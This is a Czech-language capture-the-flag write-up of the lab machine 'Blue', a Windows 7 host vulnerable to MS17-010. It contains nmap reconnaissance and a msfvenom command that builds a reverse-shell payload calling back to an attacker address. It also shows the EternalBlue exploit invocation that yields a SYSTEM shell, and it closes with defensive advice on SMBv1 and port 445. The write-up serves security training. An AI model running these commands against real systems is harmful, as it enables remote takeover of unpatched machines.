Blue
Úvod a kontext
Blue je skoro učebnicový příklad toho, jak devastující je ponechat do internetu vystavený nepatchovaný SMBv1. Tady není potřeba složitý řetězec: už samotné potvrzení ms17-010 znamená, že jedna síťová služba stačí k plné kompromitaci systému.
Didaktická hodnota článku leží právě v jeho přímočarosti. nmap, smb-vuln-ms17-010, připravený payload a okamžitý shell s právy SYSTEM velmi názorně ukazují rozdíl mezi běžnou chybou konfigurace a kritickou vzdálenou zranitelností v síťové vrstvě.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-02-05T15:52:49
|_ start_date: 2022-02-05T15:44:10
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-02-05T15:52:50+00:00
|_clock-skew: mean: 5m00s, deviation: 1s, median: 4m59s
Vyhledání otevřených portů (2)
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -n -v -sV -Pn -p 139,445 --script=smb-vuln* $IP
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
Získání přístupu
Zneužití MS17-010
Jakmile je ms17-010 potvrzené, další krok je čistě exekuční: připravit servisní payload a předat ho exploitu pro EternalBlue.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4000 -f exe-service -o w_x64_shell_reverse_tcp_svc.exe
python2 blue-ms17-010.py 10.10.10.40 ntsvcs ../Payloads/w_x64_shell_reverse_tcp_svc.exe
Získání user flagu
user.txt je zde spíš ilustrace dopadu než mezikrok. Po úspěšném EternalBlue exploitu je host už kompromitovaný na úrovni SYSTEM, takže oddělení user/root je prakticky jen formální.
more user.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
Stejná logika platí i pro root.txt: žádná samostatná eskalace už není potřeba, protože SMB exploit rovnou dává nejvyšší oprávnění v systému.
more root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Nejpodstatnější zjištění nepřinesla další enumerace, ale přímé potvrzení
ms17-010na SMBv1. - První i finální shell zde vznikají stejným krokem: vzdálenou exploitací síťové služby vystavené do internetu, bez hesel a bez dalšího pivota.
user.txtiroot.txtjen ilustrují dopad. Z technického hlediska je kompromitace hotová ve chvíli, kdy EternalBlue vrátíSYSTEM.
Co si odnést do praxe
- Kritické síťové služby jako SMB musí být patchované bez odkladu a pokud možno nevystavené přímo do internetu.
MS17-010ukazuje, že jeden zmeškaný update může znamenat okamžitou kompromitaci hostu. - SMBv1 do moderní sítě nepatří. Pokud pro něj neexistuje výjimečná a zdokumentovaná potřeba, má být vypnutý a přístup na port 445 má být omezený segmentací a firewallem.
- Obrana má sledovat i chování po exploitu: nahrání servisního payloadu, neobvyklé vytvoření služby a komunikaci na port 445. U takto přímočarých exploitů bývá šance na detekci hlavně v provozu kolem samotného útoku.